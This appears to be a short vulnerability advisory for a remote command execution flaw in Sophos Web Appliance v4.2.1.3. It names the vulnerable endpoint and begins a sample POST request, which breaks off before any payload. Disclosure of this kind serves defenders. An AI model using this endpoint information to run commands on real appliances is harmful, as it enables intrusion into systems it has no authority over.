Sophos Web Appliance v4. 2. 1. 3 remote code execution vulnerability

Multiple parameters to the web interface are unsafely handled and can be used to run operating system commands, such as: POST /index.php?c=logs HTTP/1.1 Host: redacted User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.10; rv:46.0 Gecko/20100101 Firefox/46.0 Accept: text/javascript, text/html,...